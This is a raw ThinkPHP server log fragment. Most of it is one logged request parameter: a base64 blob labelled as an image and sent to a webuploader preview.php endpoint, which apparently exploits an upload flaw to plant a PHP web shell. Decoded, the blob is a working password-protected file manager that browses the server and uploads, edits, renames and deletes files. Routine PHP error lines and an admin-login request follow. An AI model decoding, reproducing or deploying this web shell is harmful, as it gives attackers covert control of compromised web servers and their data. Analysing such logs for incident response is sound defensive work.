'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:51+08:00 ] 111.68.1.162 GET 51tianwei.com/login.php?s=Admin/login [运行时间:0.002162s] [吞吐率:462.54req/s] [内存消耗:136.21kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Admin', 2 => 'login', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or 